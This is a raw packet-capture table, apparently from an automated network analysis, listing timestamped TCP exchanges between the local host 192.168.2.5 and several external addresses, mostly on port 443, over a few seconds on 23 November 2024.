Nov 23, 2024 15:37:42.344389915 CET	49774	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.344398022 CET	443	49774	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.354130030 CET	49773	443	192.168.2.5	172.217.21.36
Nov 23, 2024 15:37:42.354141951 CET	443	49773	172.217.21.36	192.168.2.5
Nov 23, 2024 15:37:42.400511980 CET	49773	443	192.168.2.5	172.217.21.36
Nov 23, 2024 15:37:42.640019894 CET	443	49769	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.640176058 CET	443	49769	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.640259981 CET	49769	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.643814087 CET	49769	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.643834114 CET	443	49769	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.643846035 CET	49769	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.643851995 CET	443	49769	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.650743961 CET	49778	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.650767088 CET	443	49778	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.650835037 CET	49778	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.651331902 CET	49778	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.651340961 CET	443	49778	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.725128889 CET	443	49770	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.725337982 CET	443	49770	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.725408077 CET	49770	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.725522041 CET	49770	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.725539923 CET	443	49770	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.725565910 CET	49770	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.725574017 CET	443	49770	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.732057095 CET	49779	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.732080936 CET	443	49779	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.732147932 CET	49779	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.732312918 CET	49779	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.732327938 CET	443	49779	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.789352894 CET	443	49774	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.789417982 CET	443	49774	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.789499998 CET	49774	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.789872885 CET	49774	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.789920092 CET	443	49774	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.789974928 CET	49774	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.789990902 CET	443	49774	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.795044899 CET	49780	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.795097113 CET	443	49780	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.795372009 CET	49780	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.795671940 CET	49780	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.795686007 CET	443	49780	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:43.139869928 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:43.139904976 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:43.139976978 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:43.140239000 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:43.140249968 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:43.361355066 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:43.361393929 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:43.361454964 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:43.361701012 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:43.361711025 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:43.515356064 CET	49724	80	192.168.2.5	185.215.113.16
Nov 23, 2024 15:37:43.566575050 CET	443	49776	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:43.567173004 CET	49776	443	192.168.2.5	23.218.208.109
Nov 23, 2024 15:37:43.571357965 CET	49776	443	192.168.2.5	23.218.208.109
Nov 23, 2024 15:37:43.571376085 CET	443	49776	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:43.571746111 CET	443	49776	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:43.611356020 CET	49776	443	192.168.2.5	23.218.208.109
Nov 23, 2024 15:37:43.655339003 CET	443	49776	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:43.729722023 CET	443	49775	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:43.732306957 CET	49775	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:43.732306957 CET	49775	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:43.732352018 CET	443	49775	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:43.732374907 CET	443	49775	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.214078903 CET	443	49777	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.214935064 CET	443	49776	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:44.215089083 CET	443	49776	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:44.215271950 CET	49776	443	192.168.2.5	23.218.208.109
Nov 23, 2024 15:37:44.250196934 CET	443	49775	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.250258923 CET	443	49775	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.250838995 CET	49775	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.254211903 CET	49777	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.254251957 CET	443	49777	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.254868984 CET	49776	443	192.168.2.5	23.218.208.109
Nov 23, 2024 15:37:44.254872084 CET	49777	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.254878998 CET	443	49777	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.254899979 CET	443	49776	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:44.262330055 CET	49775	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.262330055 CET	49775	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.262351036 CET	443	49775	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.262362957 CET	443	49775	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.273330927 CET	49786	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.273365974 CET	443	49786	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.273475885 CET	49786	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.274363995 CET	49786	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.274380922 CET	443	49786	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.325665951 CET	49787	443	192.168.2.5	23.218.208.109
Nov 23, 2024 15:37:44.325711966 CET	443	49787	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:44.327446938 CET	49787	443	192.168.2.5	23.218.208.109
Nov 23, 2024 15:37:44.328015089 CET	49787	443	192.168.2.5	23.218.208.109
Nov 23, 2024 15:37:44.328037024 CET	443	49787	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:44.450469971 CET	443	49779	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.475302935 CET	49779	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.475353956 CET	443	49779	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.499388933 CET	443	49778	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.548614979 CET	49778	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.624047995 CET	49779	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.624069929 CET	443	49779	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.648835897 CET	443	49780	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.649614096 CET	49778	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.649637938 CET	443	49778	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.650142908 CET	49778	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.650156021 CET	443	49778	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.650876999 CET	49780	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.650906086 CET	443	49780	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.651308060 CET	49780	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.651319027 CET	443	49780	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.658092022 CET	443	49777	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.658173084 CET	443	49777	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.658225060 CET	49777	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.658339024 CET	49777	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.658360004 CET	443	49777	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.658374071 CET	49777	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.658380985 CET	443	49777	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.661295891 CET	49788	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.661348104 CET	443	49788	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.661427975 CET	49788	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.661561966 CET	49788	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.661580086 CET	443	49788	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.942127943 CET	443	49779	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.942208052 CET	443	49779	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.942265034 CET	49779	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.942482948 CET	49779	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.942508936 CET	443	49779	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.942526102 CET	49779	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.942533970 CET	443	49779	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.942720890 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.942964077 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.942989111 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.944478035 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.944542885 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.946542978 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.946651936 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.947477102 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.947485924 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.950387955 CET	49789	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.950433016 CET	443	49789	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.950520992 CET	49789	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.950725079 CET	49789	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.950741053 CET	443	49789	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.993199110 CET	443	49778	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.993359089 CET	443	49778	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.993426085 CET	49778	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.993518114 CET	49778	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.993558884 CET	443	49778	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.993875027 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.998878956 CET	49790	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.998958111 CET	443	49790	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:44.999044895 CET	49790	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.999356031 CET	49790	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:44.999375105 CET	443	49790	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.106568098 CET	443	49780	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.106646061 CET	443	49780	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.106703997 CET	49780	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.106904984 CET	49780	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.106925011 CET	443	49780	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.106935978 CET	49780	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.106940985 CET	443	49780	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.110189915 CET	49791	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.110251904 CET	443	49791	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.110332012 CET	49791	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.110515118 CET	49791	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.110543013 CET	443	49791	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.166110039 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.166435003 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.166451931 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.168090105 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.168160915 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.169368029 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.169415951 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.169420958 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.169450998 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.211819887 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.211833954 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.259552956 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.440279007 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.440342903 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.440382004 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.440393925 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.440402985 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.440423012 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.440448046 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.440452099 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.440464020 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.440506935 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.629893064 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.629950047 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.629986048 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.630009890 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.630028009 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.630048037 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.669183969 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.669222116 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.669234991 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.669274092 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.669307947 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.669317961 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.669333935 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.669361115 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.669373035 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.669373035 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.669398069 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.669416904 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.714236975 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.714309931 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.714325905 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.714349985 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.714370012 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.714389086 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.719597101 CET	443	49787	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:45.719664097 CET	49787	443	192.168.2.5	23.218.208.109
Nov 23, 2024 15:37:45.728930950 CET	49787	443	192.168.2.5	23.218.208.109
Nov 23, 2024 15:37:45.728940010 CET	443	49787	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:45.730077982 CET	443	49787	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:45.731173992 CET	49787	443	192.168.2.5	23.218.208.109
Nov 23, 2024 15:37:45.775338888 CET	443	49787	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:45.814256907 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.814323902 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.814362049 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.814387083 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.814414024 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.814426899 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.856437922 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.856487036 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.856534004 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.856563091 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.856592894 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.856653929 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.856863976 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.856920004 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.856944084 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.856957912 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.856981993 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.857230902 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.878184080 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.878231049 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.878273964 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.878283024 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.878320932 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.900352001 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.900407076 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.900470018 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.900479078 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.900516033 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.900532007 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.911119938 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.911184072 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.911211014 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.911218882 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.911242008 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.911282063 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.953846931 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.953938961 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.953964949 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.954016924 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.954018116 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.954144001 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.954256058 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.954271078 CET	443	49785	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.954278946 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.954714060 CET	49785	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.999245882 CET	443	49786	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:45.999747038 CET	49786	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:45.999774933 CET	443	49786	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.000319004 CET	49786	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.000324965 CET	443	49786	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.006081104 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.006140947 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.006181002 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.006191969 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.006221056 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.006236076 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.025084972 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.025136948 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.025192022 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.025201082 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.025234938 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.025245905 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.039408922 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.039474964 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.039514065 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.039522886 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.039558887 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.039568901 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.055391073 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.055459023 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.055478096 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.055486917 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.055521011 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.055535078 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.071459055 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.071501017 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.071619034 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.071619034 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.071644068 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.071732044 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.071791887 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.074282885 CET	49784	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.074316978 CET	443	49784	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.105074883 CET	49796	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.105087042 CET	443	49796	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.105278969 CET	49796	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.105464935 CET	49796	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.105477095 CET	443	49796	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.414690018 CET	443	49787	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:46.414813995 CET	443	49787	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:46.415458918 CET	49787	443	192.168.2.5	23.218.208.109
Nov 23, 2024 15:37:46.437933922 CET	443	49786	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.437998056 CET	443	49786	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.438139915 CET	49786	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.446968079 CET	49786	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.446988106 CET	443	49786	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.447067976 CET	49786	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.447073936 CET	443	49786	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.454022884 CET	49787	443	192.168.2.5	23.218.208.109
Nov 23, 2024 15:37:46.454049110 CET	443	49787	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:46.454061985 CET	49787	443	192.168.2.5	23.218.208.109
Nov 23, 2024 15:37:46.454068899 CET	443	49787	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:46.457030058 CET	443	49788	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.457604885 CET	49797	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.457653046 CET	443	49797	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.457834005 CET	49797	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.458997011 CET	49788	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.459024906 CET	443	49788	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.460059881 CET	49788	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.460067034 CET	443	49788	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.460354090 CET	49797	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.460366964 CET	443	49797	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.740072966 CET	443	49790	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.741096973 CET	49790	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.741127014 CET	443	49790	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.742068052 CET	49790	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.742075920 CET	443	49790	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.745774031 CET	443	49789	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.746448040 CET	49789	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.746483088 CET	443	49789	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.746867895 CET	49789	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:46.746874094 CET	443	49789	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.833228111 CET	443	49791	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:46.844132900 CET	49791	443	192.168.2.5	13.107.246.63
